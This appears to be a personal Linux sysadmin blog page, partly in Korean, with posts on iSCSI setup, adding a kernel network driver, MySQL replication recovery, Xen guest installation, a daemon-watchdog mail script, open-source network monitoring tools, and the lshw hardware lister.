Reminiscence

CentOS / Red Hat Linux: Install and manage iSCSI Volume

Internet SCSI (iSCSI) is a network protocol s that allows you to use of the SCSI protocol over TCP/IP networks. It is good alternative to Fibre Channel-based SANs. You can easily manage, mount and format iSCSI Volume under Linux. It allows access to SAN storage over Ethernet.

Open-iSCSI Project

Open-iSCSI project is a high-performance, transport independent, multi-platform implementation of iSCSI. Open-iSCSI is partitioned into user and kernel parts.

Instructions are tested on:
[a] RHEL 5
[b] CentOS 5
[c] Fedora 7
[d] Debian / Ubuntu Linux

Install Required Package

iscsi-initiator-utils RPM package - The iscsi package provides the server daemon for the iSCSI protocol, as well as the utility programs used to manage it. iSCSI is a protocol for distributed disk access using SCSI commands sent over Internet Protocol networks. This package is available under Redhat Enterprise Linux / CentOS / Fedora Linux and can be installed using yum command:
# yum install iscsi-initiator-utils

A note about Debian / Ubuntu Linux

If you are using Debian / Ubuntu Linux install open-iscsi package, enter:
$ sudo apt-get install open-iscsi

iSCSI Configuration

There are three steps needed to set up a system to use iSCSI storage:

  1. iSCSI startup using the init script or manual startup. You need to edit and configure iSCSI via /etc/iscsi/iscsid.conf file
  2. Discover targets.
  3. Automate target logins for future system reboots.
  4. You also need to obtain iSCSI username, password and storage server IP address (target host)

Step # 1: Configure iSCSI

Open /etc/iscsi/iscsid.conf with vi text editor:
# vi /etc/iscsi/iscsid.conf
Setup username and password:
node.session.auth.username = My_ISCSI_USR_NAME
node.session.auth.password = MyPassword
discovery.sendtargets.auth.username = My_ISCSI_USR_NAME
discovery.sendtargets.auth.password = MyPassword

Where,

  • node.session.* is used to set a CHAP username and password for initiator authentication by the target(s).
  • discovery.sendtargets.* is used to set a discovery session CHAP username and password for the initiator authentication by the target(s)

You may also need to tweak and set other options. Refer to man page for more information. Now start the iscsi service:
# /etc/init.d/iscsi start

Step # 2: Discover targets

Now use iscsiadm command, which is a command-line tool allowing discovery and login to iSCSI targets, as well as access and management of the open-iscsi database. If your storage server IP address is 192.168.1.5, enter:
# iscsiadm -m discovery -t sendtargets -p 192.168.1.5
# /etc/init.d/iscsi restart

Now there should be a block device under /dev directory. To obtain new device name, type:
# fdisk -l
or
# tail -f /var/log/messages
Output:

Oct 10 12:42:20 ora9is2 kernel:   Vendor: EQLOGIC   Model: 100E-00           Rev: 3.2
Oct 10 12:42:20 ora9is2 kernel:   Type:   Direct-Access                      ANSI SCSI revision: 05
Oct 10 12:42:20 ora9is2 kernel: SCSI device sdd: 41963520 512-byte hdwr sectors (21485 MB)
Oct 10 12:42:20 ora9is2 kernel: sdd: Write Protect is off
Oct 10 12:42:20 ora9is2 kernel: SCSI device sdd: drive cache: write through
Oct 10 12:42:20 ora9is2 kernel: SCSI device sdd: 41963520 512-byte hdwr sectors (21485 MB)
Oct 10 12:42:20 ora9is2 kernel: sdd: Write Protect is off
Oct 10 12:42:20 ora9is2 kernel: SCSI device sdd: drive cache: write through
Oct 10 12:42:20 ora9is2 kernel:  sdd: unknown partition table
Oct 10 12:42:20 ora9is2 kernel: sd 3:0:0:0: Attached scsi disk sdd
Oct 10 12:42:20 ora9is2 kernel: sd 3:0:0:0: Attached scsi generic sg3 type 0
Oct 10 12:42:20 ora9is2 kernel: rtc: lost some interrupts at 2048Hz.
Oct 10 12:42:20 ora9is2 iscsid: connection0:0 is operational now

/dev/sdd is my new block device.

Step # 3: Format and Mount iSCSI Volume

You can now partition and create a filesystem on the target using usual fdisk and mkfs.ext3 commands:
# fdisk /dev/sdd
# mke2fs -j -m 0 -O dir_index /dev/sdd1

OR
# mkfs.ext3 /dev/sdd1

Tip: If your volume is large size like 1TB, run mkfs.ext3 in background using nohup:
# nohup mkfs.ext3 /dev/sdd1 &

Mount new partition:
# mkdir /mnt/iscsi
# mount /dev/sdd1 /mnt/iscsi

Step #4: Mount iSCSI drive automatically at boot time

First make sure iscsi service turned on at boot time:
# chkconfig iscsi on
Open /etc/fstab file and append config directive:
/dev/sdd1 /mnt/iscsi ext3 _netdev 0 0



Comment +0

Adding a Linux device driver

On Linux systems, device drivers are typically distributed in one of three forms:

  • A patch against a specific kernel version

  • A loadable module

  • An installation script that applies appropriate patches

The most common of all these is the patch against a specific kernel version. These patches can in most cases be applied with the following procedure:2

# cd /usr/src/linux ; patch -p1 < patch_file

Diffs made against a different minor version of the kernel may fail, but the driver should still work. Here, we cover how to manually add a network "snarf" driver to the kernel. It's a very complicated and tedious process, especially when compared to other operating systems we've seen.

By convention, Linux kernel source resides in /usr/src/linux. Within the drivers subdirectory, you'll need to find the subdirectory that corresponds to the type of device you have. A directory listing of drivers looks like this:

% ls -F /usr/src/linux/drivers
Makefile	cdrom/	i2o/	nubus/	sbus/	telephony/
acorn/	char/	isdn/	parport/	scsi/	usb/
ap1000/	dio/	macintosh/	pci/	sgi/	video/
atm/	fc4/	misc/	pcmcia/	sound/	zorro/
block/	i2c/	net/	pnp/	tc/

The most common directories to which drivers are added are block, char, net, usb, sound, and scsi. These directories contain drivers for block devices (such as IDE disk drives), character devices (such as serial ports), network devices, USB devices, sound cards, and SCSI cards, respectively. Some of the other directories contain drivers for the buses themselves (e.g., pci, nubus, and zorro); it's unlikely that you will need to add drivers to these directories. Some directories contain platform-specific drivers, such as macintosh, acorn, and ap1000. Some directories contain specialty devices such as atm, isdn, and telephony.

Since our example device is a network-related device, we will add the driver to the directory drivers/net. We'll need to modify the following files:

  • drivers/net/Makefile, so that our driver will be compiled

  • drivers/net/Config.in, so that our device will appear in the config options

  • drivers/net/Space.c, so that the device will be probed on startup

After putting the .c and .h files for the driver in drivers/net, we'll add the driver to drivers/net/Makefile. The lines we'd add (near the end of the file) follow.

ifeq ($(CONFIG_SNARF),y)
	L_OBJS += snarf.o
else
	ifeq ($(CONFIG_SNARF),m)
		M_OBJS += snarf.o
	endif
endif 

This configuration adds the snarf driver so that it can be either configured as a module or built into the kernel.

After adding the device to the Makefile, we have to make sure we can configure the device when we configure the kernel. All network devices need to be listed in the file drivers/net/Config.in. To add the device so that it can be built either as a module or as part of the kernel (consistent with what we claimed in the Makefile), we add the following line:

tristate 'Snarf device support' CONFIG_SNARF 

The tristate keyword means you can build the device as a module. If the device cannot be built as a module, use the keyword bool instead of tristate. The next token is the string to display on the configuration screen. It can be any arbitrary text, but it should identify the device that is being configured. The final token is the configuration macro. This token needs to be the same as that tested for with the ifeq clause in the Makefile.

The last file we need to edit to add our device to the system is drivers/net/Space.c. Space.c contains references to the probe routines for the device driver, and it also controls the device probe order. Here, we'll have to edit the file in two different places. First we'll add a reference to the probe function, then we'll add the device to the list of devices to probe for.

At the top of the Space.c file are a bunch of references to other probe functions. We'll add the following line to that list:

extern int snarf_probe(struct device *); 

Next, to add the device to the actual probe list, we need to determine which list to add it to. A separate probe list is kept for each type of bus (PCI, EISA, SBus, MCA, ISA, parallel port, etc.). The snarf device is a PCI device, so we'll add it to the list called pci_probes. The line that says

struct devprobe pci_probes[] __initdata = { 

is followed by an ordered list of devices. The devices higher up in the list are probed first. Probe order does not usually matter for PCI devices, but some devices are sensitive. Just to be sure the snarf device is detected, we'll add it to the top of the list:

struct devprobe pci_probes[] __initdata = {
#ifdef CONFIG_SNARF
	snarf_probe, 0},
#endif 

The device has now been added to the Linux kernel. When we next configure the kernel, the device should appear as a configuration option under "network devices."

'Linux' 카테고리의 다른 글

Open Storage란?  (0) 2009.02.15
CentOS / Red Hat Linux: Install and manage iSCSI Volume  (0) 2009.01.15
Adding a Linux device driver  (0) 2009.01.08
VirtualPC 2007 + Ubuntu 7.0 설치시 화면이 깨지는 경우 및 마우스 인식  (0) 2008.04.24
Xen Virt-install Example  (0) 2008.04.15
Xen  (0) 2008.03.26

Comment +0

얼마전 회사 DB서버의 Replication이 깨지는 바람에 복구하게 됐다.

실제 운영중인 서버를 다운 시키고 백업 받을수는 없었기 때문에 최단시간동안 Write Lock을 걸고 백업을 받은 후 Write Lock을 해제하고 리플리케이션을 설정하는것이 관건 이었다.

그래서 다음과 같은 작업을 진행..

/usr/local/mysql/bin/mysqladmin -uroot -p flush-logs
/usr/local/mysql/bin/mysqladmin -uroot -p -C "flush tables with read lock"
/usr/local/mysql/bin/mysqldump --single-transaction --all-databases --extended-insert=FALSE -c -uroot -p -R > all-databases.sql


또는

/usr/local/mysql/bin/mysqladmin -uroot -p flush-logs
/usr/local/mysql/bin/mysql -u root -p -h localhost
Passwd :
MySQL > flush tables with read lock;
MySQL > show master status\G
+------------------+----------+--------------+------------------+
| File                     | Position   | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000011  |   1024026  |                      |                          |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)
# 위의 MASTER STATUS 정보는 별도로 저장해 두자.

/usr/local/mysql/bin/mysqldump --single-transaction --all-databases --extended-insert=FALSE -c -uroot -p -R > all-databases.sql

이제 백업된 파일이 생성이 되었다.
그렇다면, 슬레이브 서버에 접속하여 백업된 파일을 업로드 하고 Slave 셋팅 설정을 확인한다.


server-id = 2

master-host = 마스터서버IP

master-user = <계정>

master-password = <비밀번호>

셋팅값에 이상이 없으면 백업한 파일을 Restore 한다.

/etc/init.d/mysql restart
/usr/local/mysql/bin/mysql -u root -p
/usr/local/mysql/bin/mysql -u root -p < all-databases.sql

복구 작업이 모두 완료 되면 다음 명령어를 통해 recplication을 실행한다.

mysql> stop slave;
mysql> reset slave;
mysql> CHANGE MASTER TO MASTER_LOG_FILE="mysql-bin.000011", MASTER_POS='1024026';
mysql> start slave;
mysql> show slave status\G
            Slave_IO_State: Waiting for master to send event
               Master_Host: 마스터서버IP
               Master_User: repl
               Master_Port: 3306
             Connect_Retry: 60
           Master_Log_File: mysql-bin.000011
       Read_Master_Log_Pos: 1024026
            Relay_Log_File: mysqld-relay-bin.000002
             Relay_Log_Pos: 402402
     Relay_Master_Log_File: mysql-bin.000011
          Slave_IO_Running: Yes
         Slave_SQL_Running: Yes
           Replicate_Do_DB:
       Replicate_Ignore_DB:
        Replicate_Do_Table:
    Replicate_Ignore_Table:
  Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
                Last_Errno: 0
                Last_Error:
              Skip_Counter: 0
       Exec_Master_Log_Pos: 1024026
           Relay_Log_Space: 402402
           Until_Condition: None
            Until_Log_File:
             Until_Log_Pos: 0
        Master_SSL_Allowed: No
        Master_SSL_CA_File:
        Master_SSL_CA_Path:
           Master_SSL_Cert:
         Master_SSL_Cipher:
            Master_SSL_Key:
     Seconds_Behind_Master: 0
1 row in set (0.00 sec)


출력된 데이터 중 Slave_IO_State가 Waiting for master to send event와 같으면 정상적인 리플리케이션이 동작하는 것이다.

만약 DB데이터의 양이 너무 많아 mysqldump로 백업 및 복구에 시간이 많이 소요된다면, MySQL의 MASTER/SLAVE 서버간의 버전이 동일하다는 가정하에, DB_DATA폴더를 통째로 압축하여 전송한뒤 압축 해제를 통해 복사하는것도 좋은 방법일 수 있다.


Comment +0

- Virtual PC에서 Ubuntu 7.0 설치 할때 화면이 깨지는 경우

1. Ubuntu 기본 화면에서 alt + ctrl + F2를 눌러 콘솔로 접속
2. sudo vi /etc/X11/xorg.conf 파일을 열어 DefaultDepth 24를 DefaultDepth 16으로 수정
3. Ctrl + Alt + F7을 눌렀다가 다시 Ctrl + Alt + BackSpace 키를 눌러 텍스트 모드로 전환한
   뒤 다시 한번 더 데스크탑 모드로 복귀 합니다.
4. 정상 화면으로 복귀



- Virtual PC에서 Ubuntu 7.0 설치 후 마우스가 인식되지  않을때

1. Ctrl + Alt + F2를 눌러 다시 콘솔모드로 변환
2. sudo vi /boot/grub/menu.lst 파일을 열어 Kernel /boot/vmlinuz-2.6.20-15-generic과
  같이 부트커널에 대한 설정 내용이 있는 것 중 가장 최상위에 있는 내용의 마지막 뒤에
  i8042.noloop 를 입력한 뒤 저장
3. sudo reboot를 입력하여 재부팅 하면 정상 인식.

Comment +0

Example 40–1 Solaris PV Guest


virt-install -n solarisPV --paravirt -r 1024 \ 
  --nographics -f /export/solarisPV/root.img -s 16 \ 
  -l /ws/xvm-gate/public/isos/72-0910/solarisdvd.iso


Example 40–2 Solaris HVM Guest


virt-install -n solarisHVM --hvm -r 1024 --vnc \ 
  -f /export/solarisHVM/root.img -s 16 \ 
  -c /ws/xvm-gate/public/isos/72-0910/solarisdvd.iso

For this version of virt-install, only installs from ISOs and physical CDs are supported for HVM. Network installations are not supported in this version. If a physical CD is used, remember to unmount it after use.



Example 40–3 Windows HVM Guest


# virt-install -n winxp --hvm -r 1024 --vnc \ 
  -f /export/winxp/root.img -s 16 -c /windows/media.iso

For this version of virt-install, only installs from ISOs and physical CDs are supported for HVM. Network installations are not supported in this version. If a physical CD is used, remember to unmount it after use.



Example 40–4 Install Microsoft Windows Using a Local File as a Root Disk

A normal file is used to store the contents of the guest domain disk image, as opposed to using a ZFS volume, for example.


virt-install --name windows1 --ram 1024 \
--cdrom /en_winxp_pro_with_sp2.iso --file /guests/windows1-disk
--file-size 10 --vnc
 


Example 40–5 Install Solaris Using Network Install and JumpStart onto a ZFS Volume


zfs create -V 8G pool/solaris1-disk
virt-install --name solaris1 --ram 1024 --nographics \
--file /dev/zvol/dsk/pool/solaris1-disk \
--location nfs:install.domain.com:/export/solaris/nv75 \
--autocf nfs:install.domain.com:/export/jumpstart/solaris1

'Linux' 카테고리의 다른 글

Adding a Linux device driver  (0) 2009.01.08
VirtualPC 2007 + Ubuntu 7.0 설치시 화면이 깨지는 경우 및 마우스 인식  (0) 2008.04.24
Xen Virt-install Example  (0) 2008.04.15
Xen  (0) 2008.03.26
[Script] 데몬 상주 확인용 간단 스크립트  (0) 2008.02.11
OpenSource NMS 툴  (0) 2007.08.31

Comment +0

Xen

Linux2008.03.26 16:58
RedHat Xen 관련 메뉴얼
https://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/ko-KR/Virtualization/

Xen 프로젝트 그룹
http://www.iamroot.org/bbs/view.php?id=virtualization&page=4&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=32

Xen 관련 자료 모음

http://www.iamroot.org/wiki/index.php/VMM_Hypervisor

Comment +0

작성일 : 2008.02.11
작성자 : mrmsm

가끔씩 운영중인 리눅스 서버에서 데몬이 죽을때가 있습니다.

제 경우에는 Whois 데몬과 SMS발송용 처리 데몬 등등..

실제 자체적인 복구기능이 없는 데몬들이 많이 있지요..

그런 데몬들이 실질적으로 메모리에 상주되어 있는지만 체크하여 관리자에게 메일로 알려 주는 스크립트를

아주 간단하게 작성하여 보았습니다.

필요하신 분들은 수정하셔서 사용하시기를..

#!/bin/bash
#데몬 PID 값

WHOIS_PID=`ps -C 데몬이름 -o pid=`
C_DATE=`date "+%Y-%m-%d %H:%M:%S"`
HOST_NAME=`hostname`
#관리자 메일 주소
MAIL_TO=
TESTMAIL@lovetonight.net
#보내는 서버데몬 이메일 주소(가칭)
MAIL_FROM="
TESTADMIN@lovetonight.net"

#관리자에게 보낼 알람메일 내용
MAIL_CONTENT="Return-Path: <$MAIL_FROM>
From: DDA<$MAIL_FROM>
To: $MAIL_TO
Subject: [DDA] $HOST_NAME 서버의 데몬에 장애가 발생하였습니다.[$C_DATE]
MIME-Version: 1.0
Content-Type: text/html; charset=euc-kr
작성시각 : $C_DATE<br>
작성자 : Whois Daemon Monitor<br>
내용 : <br>
Whois 데몬에 이상이 발생하여 자동으로 재시작 하였습니다. <br>
메일을 보는 즉시 해당 서버를 점검하여 주시기 바랍니다.<br>
<br>
작업이 완료되면, 이에 대한 조치내역을 보고하여 주시기 바랍니다.<br>
."


# $WHOIS_PID의 문자열이 0일 경우, 즉, PID가 없을 경우
if [ -z $WHOIS_PID ]
then
      echo "[$C_DATE] 에러문구 ." >> /var/log/whoism_log.log
      echo -e "$MAIL_CONTENT" | sendmail -f $MAIL_FROM $MAIL_TO
fi

말그대로 해당 프로세스이름을 가진 데몬이 떠 있는지를 확인하기 위한 스크립트 입니다.

데몬이 떠 있으면 PID값이 확인되고, 그렇다면 정상적인것으로 간주 하는 것이지요.

스크립트를 사용하시는것은 Crontab에 등록하시어 5분 또는 10분에 1회씩 체크하도록 하시면 됩니다.

머.. 보잘것 없는 스크립트이긴 하지만 가끔 유용하게 써먹기도 하니 필요하신 분들만 ^^;;

만약 하나의 서버에서 체크해야 하는 프로세스가 여러개일 경우 프로세스 네임을 인자값으로 받아들여 정해진 프로세스네임을 체크하는것이 아닌 받아들인 인자값을 체크 하도록 하시면, 여러개의 데몬도 하나의 스크립트 파일로 운영이 가능합니다.

허접한 스크립트 입니다. 필요하신 분들은 퍼가셔도 좋습니다.
(리플은 달아주세요  ㅜ_ㅜ)

Comment +0

OpenSource NMS 툴

Linux2007.08.31 17:14

[공개 네트워크 모니터링 툴 활용]  숨겨진 진주를 찾아라


이더리얼이나 MRTG, NTOP 등 잘 알려진 공개 네트워크 모니터링 툴 외에도 Nagios나 JFFNMS, Zabbix 등의 잘 알려지지 않은 많은 공개 프로그램들이 있다. 이들 또한 많은 네트워커들의 사랑을 받고 있는 툴들로 유명 공개 툴에 못지않은 기능을 제공하는 제품도 쉽게 찾을 수 있다. 앞에서 소개하지 못한 여러 공개 네트워크 모니터링 툴을 간단히 살펴보겠다.


네트워크로 점차 다양하고 많은 장비가 연결되고, 사용자의 수가 늘어나면서 네트워크 관리자의 책임이 점차 무거워지고 있다. 이미 다양한 네트워크 모니터링 툴을 주위에서 쉽게 찾을 수 있으며, 모니터링뿐 아니라 관리 기능까지 제공하는 툴도 있다. 더구나 조금만 노력한다면 유명 상용제품에 뒤지지 않는 유용한 공개 네트워크 모니터링 툴도 찾아볼 수 있다.

일례로 유명 공개 소프트웨어 프로젝트 사이트인 소스포지(sourceforge.net)에는 네트워킹 분야에만 970개의 프로젝트가 진행되고 있으며, 300여개의 프로젝트가 활발한 활동을 벌이고 있다. 여기에는 최근 인기를 끌고 있는 Nagios, net-snmp, MIDAS, Excalibur, Zabbix, JFFNMS 등의 프로젝트 외에도 AirSnort나 KDE WiFi Manager와 같은 무선 LAN 환경을 위한 모니터링 툴 프로젝트도 쉽게 찾아볼 수 있다.

상용 제품에 뒤지지 않는 공개 툴
네트워크 모니터링 툴은 장비의 작동 상태와 CPU 사용량, 네트워크 트래픽 처리량, 그리고 패킷 분석 등의 기능을 제공하는 툴을 얘기한다. 이같은 기능을 한꺼번에 모두 제공하는 툴도 있지만, 공개 네트워크 모니터링 툴 중에는 일부 기능만을 제공하거나 별도의 플러그인을 통해 다양한 기능을 제공하는 툴도 있다.

네트워커들에게는 고전적인 ping이나 traceroute, df, du, ps, netstat 등의 간단한 명령어부터, MRTG와 같은 네트워크 트래픽 모니터링 툴, 그리고 상용 툴로는 오픈뷰나 유니센터 TNG, 티볼리 등의 강력하고 다양한 기능을 제공하는 네트워크 관리 툴, 그리고 윈도우 환경에서의 간단한 네트워크 모니터링을 위한 What's up이나 스니퍼 등의 제품들이 있다.

이같은 네트워크 모니터링 툴은 네트워크의 상태를 진단하는 네트워크 관리의 목적 외에도 최근에는 보안을 위한 목적으로도 많이 사용되고 있기 때문에, 네트워크 관리자라면 한두가지의 툴 정도는 확실하게 익히고 있어야 한다.

특히 상용 제품에 뒤지지 않는 기능과 완성도를 제공하는 툴을 공개 소프트웨어 중에서도 쉽게 찾을 수 있기 때문에 네트워크 관리자라면 업무의 효율을 높이기 위해 간단한 공개 네트워크 모니터링 툴의 종류와 사용법을 알아 둘 필요가 있다.

이제 몇가지 중요 공개 네트워크 모니터링 툴에 대해 알아보자.

Cheops
Cheops는 오픈소스 네트워크 사용자 인터페이스로 네트워크 환경을 관리하기 위한 다양한 기능을 제공한다는 것이 특징으로 네트워크 관리를 위한 스위스 아미 나이프를 지향하고 있다.

Cheops는 리눅스의 GNOME 환경에서 운영되며, GIMP 툴킷인 GTK+로 구현된 네트워크 관리 툴이다. 이 툴은 복잡한 네트워크 환경에서 원하는 네트워크로 바로 이동하기 쉽도록 다중 페이지를 지원하며, 네트워크에 연결된 호스트의 운영체제를 직접 찾아 적합한 아이콘으로 표시해준다.

또한 복잡한 대형 네트워크 환경에서 빠르고 쉽게 원하는 호스트를 찾을 수 있는 기능을 제공한다. 이외에도 일반적인 TCP 포트 스캔 기능을 제공하며, UCD SNMP 라이브러리를 사용하는 SNMP 브라우저를 내장하고 있다. 또한 HP 오픈뷰와 흡사한 SNMP 플러그인 지원 기능을 제공한다.

한편 소스포지에서는 Cheops의 업그레이드 버전이라고 할 수 있는 Cheops-ng 프로젝트를 진행하고 있다(cheops-ng.sourceforge.net).

네트워크 관리자를 위한 스위스 아미 나이프 Cheops


운영 환경 : 리눅스(GNOME)
홈페이지 : www.marko.net/cheops/

Nagios
성능이나 기능에 비해 비교적 잘 알려지지 않은 Nagios는 얼마 전까지만 해도 NetSaint라는 이름으로 불리던 리눅스 기반 네트워크 모니터링 툴이다.

Nagios는 기본적으로 SMTP, POP3, HTTP, NNTP, PING 등의 네트워크 서비스의 상태를 모니터링할 뿐 아니라 플러그인을 통해 다양한 서비스에 대한 모니터링 기능을 확장할 수 있다. 또 서버의 CPU 사용량, 프로세스, 디스크 사용량, 메모리 사용량 등을 확인할 수 있고, 별도의 장비를 설치할 경우에는 전산실 등 서버 주변의 온도도 확인할 수 있다.

또한 네트워크 구성을 2D나 3D로 한눈에 볼 수 있도록 원형이나 트리 구조로 보여줄 뿐 아니라 각각의 네트워크 장비와 서버 운영체제별로 아이콘을 제공한다. 특이 아이콘 모음을 이미지팩이라는 별도의 패키지로 제공하고 있으며, 이미지팩에 따라 다양한 방식으로 구성도가 그려진다.

플러그인으로 다양한 기능 제공하는 Nagios


운영 환경 : 리눅스, 유닉스
홈페이지 : www.nagios.org

Nmap
Nmap(Network Mapper)은 네트워크와 보안 정책 관리를 위한 오픈소스 유틸리티다. 대형 네트워크에 대한 빠른 검색을 위해 설계된 Nmap은 로(raw) IP 패킷을 통해 네트워크에 연결된 어떤 호스트가 연결돼 있는지, 어떤 서비스가 제공되고 있는지, 혹은 어떤 운영체제가 실행되고 있는지, 어떤 방식의 패킷 필터/파이어월이 사용되고 있는지 등의 다양한 정보를 제공한다.

Nmap은 또한 다양한 컴퓨터로 포팅돼 있으며, 다양한 콘솔과 GUI 버전이 나와 있다.

수백에서 수천대가 넘는 컴퓨터가 연결된 대형 네트워크까지 지원하는 Nmap은 리눅스와 윈도우는 물론이고 FreeBSD, OpenBSD, 솔라리스, IRIX, 맥OS X, HP-UX, NetBSD, 썬OS, Amiga 등 거의 모든 운영체제를 지원한다.

네트워크와 보안 정책 관리를 위한 Nmap


운영 환경 : 리눅스, 유닉스, 윈도우, 맥OS X
홈페이지 : www.insecure.org/nmap/

JFFNMS
JFFNMS(Just For Fun NMS)는 PHP로 구현된 프로그램으로 기본적으로 cron을 이용해 일정 간격으로 SNMP 데이터를 저장하고 이를 그래프로 보여주는 툴이다.

MySQL이나 PostgreSQL을 지원하는 JFFNMS는 아파치와 PHP, MySQL가 구축된 환경이라면 쉽게 프로그램을 설치할 수 있다. 따라서 운영체제에 독립적이고 리눅스나 윈도우, 유닉스 환경에서 운영할 수 있다.

아직 다른 툴에 비래 그래픽적인 요소도 뒤떨어지고, 보여주는 정보에 있어서도 미치지 못하지만 서버 관리자용 프로그램으로는 충분한 기능을 제공한다. 더우기 JFFNMS는 단순화된 인터페이스와 꼭 필요한 정보만을 보여주기 때문에 더욱 간편하게 호스트와 네트워크의 상황을 파악할 수 있다는 장점도 된다.

PHP 스크립트로 제작된 네트워크 모니터링 툴, JFFNMS


운영 환경 : 리눅스, 유닉스, 윈도우(PHP4, MySQL 이나 PostgreSQL)
홈페이지 : jffnms.sourceforge.net

Zabbix
아직 정식 버전이 나오지 않은 Zabbix는 MRTG와 비견되는 다양한 네트워크 정보를 제공한다는 것을 특징이다. 여기에 Nagios처럼 서버와 애플리케이션 정보까지 제공한다는 것이 Zabbix의 장점이다.

Zabbix는 기본적으로 SMTP, IMAP, POP3, HTTP, SSHD 등의 기본적인 프로토콜과 SNMP v1/v2를 지원하는 장비들에 대해서는 기본적인 설치만으로도 모니터링이 가능하고, 기타 서비스나 서버 상태를 모니터링하기 위해서는 운영체제별로 Zabbix 에이전트를 설치해 해당 정보를 수집할 수 있다.

현재 Zabbix 에이전트가 지원하는 운영체제로는 공식적으로 리눅스와 윈도우, OpenBSD, FreeBSD, HP-UX, AIX, 솔라리스, SCO 오픈 서버, 맥OS X 등으로 대부분의 운영체제를 지원하고 있다. 하지만 Zabbix는 서버 에이전트는 윈도우 등의 플랫폼도 지원하고 있지만, 리눅스와 유닉스만을 지원하고 있다.

Zabbix는 또한 장기간의 모니터링 로그를 저장할 수 있으며, 이를 위해 MySQL이나 PostgreSQL을 지원한다.

장기간의 모니터링 로그 분석이 가능한 Zabbix


운영 환경 : 리눅스, 유닉스(MySQL 혹은 PostgreSQL)
홈페이지 : zabbix.sourceforge.net

Comment +0

리눅스 서버를 항상 만지고 있지만, 언제나 불만인건 이놈의 OS는 어디다 HW의 정보를 쳐박아 두는지 확인을 못한다는거였다..

리눅스의 경우 HW의 특성을 타기때문에 여러대의 서버를 관리하는 입장에서는 HW 정보를 확실히 알아두고 그에 따른 A/S용 OS디스크를 만들어 놔야 하기에 -_-  HW정보는 꼭 필요했다..

머 미리 준비할꺼였다면, 설치할때부터 HW정보를 확인하면 되겠지만, 이미 서비스가 되고 있는 서버들을 끄고 확인할수는 없기에 Linux 상에서 정보를 찾아야만 했당..

그런 나에게 빛이되준 프로그램이 하나 있었으니..

바로 LSHW 라는 프로그램이다...

사용법은 아주 간단하다..

RPM으로된 LSHW를 깔고 쉘상에서 lshw만 쳐주면 정보들이 나온다..

================
     INSTALL
================
homepage : http://ezix.org/project/wiki/HardwareLiSter

위 홈페이지에 들어가 자신의 서버에 맞는 RPM 패키지 또는 소스를 다운받아 설치를 시작합니다.

* unpack the source code :
  tar xvfz lshw-release.tar.gz

* Compile it :
cd lshw-release
make

#GUI 모드로 사용하고자 할 경우 아래와 같이 make 합니다.
make gui

* RPM Package Build
rpmbuild -ta lshw-release.tar.gz

#GUI 모드로 사용하고자 할 경우 아래와 같이 RPMBuild 합니다.
rpmbuild -ta --with gui lshw-release.tar.gz

※ 설치시 libstdc++ 관련 라이브러리가 필요 할 수 있습니다.

================
     USAGE
================
Hardware Lister (lshw) - B.02.09
usage: lshw [-format] [-options ...]
      lshw -version
       -version        print program version (B.02.09)
format can be
       -html           output hardware tree as HTML
       -xml            output hardware tree as XML
       -short          output hardware paths
       -businfo        output bus information
options can be
       -class CLASS    only show a certain class of hardware
       -C CLASS        same as '-class CLASS'
       -disable TEST   disable a test (like pci, isapnp, cpuid, etc. )
       -enable TEST    enable a test (like pci, isapnp, cpuid, etc. )


사용법은 간단합니다.
rpm 또는 소스 설치후 쉘 상에서 lshw 를 실행하면 해당 리눅스 시스템의 HW 정보가 나오게 되어 있습니다. 이를 xml이나 html로 내보내기 할 수도 있습니다.

* EX 1)
[root@www sbin]# lshw -short

H/W path       Device  Class      Description
=============================================
                      system     Computer
/0                     bus        D845GRG
/0/0                   memory     64KB BIOS
/0/4                   processor  Intel(R) Pentium(R) 4 CPU 1.80GHz
/0/4/5                 memory     8KB L1 cache
/0/4/6                 memory     512KB L2 cache
/0/2f                  memory     512MB System Memory
/0/2f/0                memory     512MB DIMM DDR Synchronous 266 MHz (3.8 ns)
/0/2f/1                memory     DIMM DDR Synchronous 266 MHz (3.8 ns) [empty]
/0/100                 bridge     82845G/GL[Brookdale-G]/GE/PE DRAM Controller/Host-Hub Interface
/0/100/2               display    82845G/GL[Brookdale-G]/GE Chipset Integrated Graphics Device
/0/100/1d              bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #1
/0/100/1d/1    usb2    bus        UHCI Host Controller
/0/100/1d.1            bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #2
/0/100/1d.1/1  usb3    bus        UHCI Host Controller
/0/100/1d.2            bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #3
/0/100/1d.2/1  usb4    bus        UHCI Host Controller
/0/100/1d.7            bus        82801DB/DBM (ICH4/ICH4-M) USB2 EHCI Controller
/0/100/1d.7/1  usb1    bus        EHCI Host Controller
/0/100/1e              bridge     82801 PCI Bridge
/0/100/1e/8    eth0    network    82801DB PRO/100 VE (LOM) Ethernet Controller
/0/100/1f              bridge     82801DB/DBL (ICH4/ICH4-L) LPC Interface Bridge
/0/100/1f.1            storage    82801DB (ICH4) IDE Controller
/0/100/1f.3            bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) SMBus Controller


* EX 2)
[root@www sbin]# lshw -businfo

Bus info          Device  Class      Description
================================================
                         system     Computer
                         bus        D845GRG
                         memory     64KB BIOS
cpu@0                     processor  Intel(R) Pentium(R) 4 CPU 1.80GHz
                         memory     8KB L1 cache
                         memory     512KB L2 cache
                         memory     512MB System Memory
                         memory     512MB PartNum1
                         memory     PartNum2
pci@0000:00:00.0          bridge     82845G/GL[Brookdale-G]/GE/PE DRAM Controller/Host-Hub Interface
pci@0000:00:02.0          display    82845G/GL[Brookdale-G]/GE Chipset Integrated Graphics Device
pci@0000:00:1d.0          bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #1
usb@2             usb2    bus        UHCI Host Controller
pci@0000:00:1d.1          bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #2
usb@3             usb3    bus        UHCI Host Controller
pci@0000:00:1d.2          bus        82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller #3
usb@4             usb4    bus        UHCI Host Controller
